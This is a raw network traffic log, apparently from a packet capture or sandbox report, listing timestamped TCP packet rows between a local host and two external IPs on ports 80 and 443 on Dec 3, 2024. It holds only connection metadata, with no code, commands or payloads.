Dec 3, 2024 17:41:38.890085936 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.891307116 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.891323090 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.891393900 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.891763926 CET	49775	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.891813993 CET	443	49775	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.891885996 CET	49775	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.892786026 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.892796993 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.892852068 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.894100904 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.894114017 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.894167900 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.894360065 CET	49775	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.894378901 CET	443	49775	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.895406961 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.895421028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.895473003 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.896666050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.896676064 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.896727085 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.898144007 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.898154974 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.898231983 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.899318933 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.899329901 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.899375916 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.900660992 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.900671959 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.900732994 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.901992083 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.902009964 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.902074099 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.903330088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.903342009 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.903390884 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.904695034 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.904706955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.904752970 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.906208992 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.906223059 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.906265020 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.907675982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.907687902 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.907749891 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.909122944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.909136057 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.909218073 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.910617113 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.910631895 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.910651922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.910677910 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.912101984 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.912126064 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.912182093 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.913598061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.913610935 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.913651943 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.915100098 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.915127039 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.915184021 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.916615963 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.916626930 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.916651964 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.916683912 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.916702032 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.918205976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.918216944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.918262959 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.919548035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.919559002 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.919635057 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.921015978 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.921027899 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.921070099 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.922498941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.922543049 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.922601938 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.923993111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.924005032 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.924021959 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.924063921 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.925508022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.925519943 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.925573111 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.926964045 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.926976919 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.927025080 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.928440094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.928452015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.928499937 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.929980993 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.930002928 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.930012941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.930079937 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.931404114 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.931416988 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.931461096 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.932940960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.932952881 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.932993889 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.934384108 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.934396029 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.934448957 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.935853958 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.935878992 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.935930014 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.937402964 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.937493086 CET	443	49772	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.937551022 CET	443	49772	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.937616110 CET	49772	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.937846899 CET	49772	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.937869072 CET	443	49772	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.937880039 CET	49772	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.937885046 CET	443	49772	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.938831091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.938842058 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.938858986 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.938889980 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.938914061 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.940347910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.940359116 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.940439939 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.941550016 CET	49776	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.941581011 CET	443	49776	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.941658974 CET	49776	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.941823959 CET	49776	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.941834927 CET	443	49776	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.941950083 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.941960096 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.942006111 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.943315983 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.943327904 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.943371058 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.944789886 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.944802999 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.944824934 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.944860935 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.946289062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.946306944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.946365118 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.947803974 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.947818995 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.947868109 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.949271917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.949282885 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.949331045 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.950731039 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.950742960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.950814962 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.952312946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.952325106 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.952343941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.952373028 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.952389956 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.953695059 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.953706026 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.953753948 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.104809046 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.105257034 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.105269909 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.105381012 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.106478930 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.106568098 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.107137918 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.107151031 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.107212067 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.108494997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.108506918 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.108555079 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.109822035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.109836102 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.109915972 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.111169100 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.111191034 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.111269951 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.112508059 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.112526894 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.112581015 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.113858938 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.113873005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.113935947 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.115187883 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.115200996 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.115278006 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.116513014 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.116539955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.116626978 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.117865086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.117877007 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.117949963 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.119328976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.119339943 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.119385958 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.120537996 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.120551109 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.120611906 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.121880054 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.121891022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.121942043 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.123539925 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.123550892 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.123599052 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.124862909 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.124875069 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.124931097 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.125888109 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.125900030 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.125951052 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.127482891 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.127495050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.127573967 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.128842115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.128853083 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.128895044 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.130306959 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.130319118 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.130378008 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.131829023 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.131839991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.131860018 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.131886959 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.133294106 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.133306980 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.133594036 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.134783030 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.134794950 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.134830952 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.136235952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.136260033 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.136312962 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.137764931 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.137778044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.137794971 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.137842894 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.137856960 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.139307976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.139332056 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.139391899 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.140705109 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.140728951 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.141010046 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.142271042 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.142282963 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.142323971 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.143734932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.143747091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.143790960 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.145282030 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.145294905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.145339012 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.145520926 CET	443	49773	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.145603895 CET	443	49773	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.146151066 CET	49773	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.146228075 CET	49773	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.146228075 CET	49773	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.146265030 CET	443	49773	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.146290064 CET	443	49773	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.146703005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.146714926 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.146786928 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.148196936 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.148209095 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.148298979 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.149188042 CET	49777	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.149230957 CET	443	49777	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.149306059 CET	49777	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.149468899 CET	49777	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.149478912 CET	443	49777	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.149647951 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.149661064 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.149724007 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.151133060 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.151144981 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.151159048 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.151209116 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.152612925 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.152625084 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.152666092 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.154146910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.154158115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.154221058 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.155597925 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.155610085 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.155663967 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.157105923 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.157119989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.157155037 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.158524990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.158550978 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.158562899 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.158577919 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.158607960 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.160058022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.160069942 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.160118103 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.161516905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.161533117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.161586046 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.163028002 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.163043022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.163120985 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.164623976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.164638042 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.164680004 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.166003942 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.166017056 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.166034937 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.166060925 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.167479992 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.167496920 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.167545080 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.168948889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.168962002 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.168996096 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.170454025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.170469046 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.170506954 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.171963930 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.171988010 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.171998024 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.172023058 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.172051907 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.173424959 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.173438072 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.173511028 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.174956083 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.174967051 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.174982071 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.175019026 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.220593929 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.306044102 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.306360960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.306495905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.307060003 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.307073116 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.307162046 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.308393955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.308878899 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.308952093 CET	49764	80	192.168.2.7	185.215.113.16
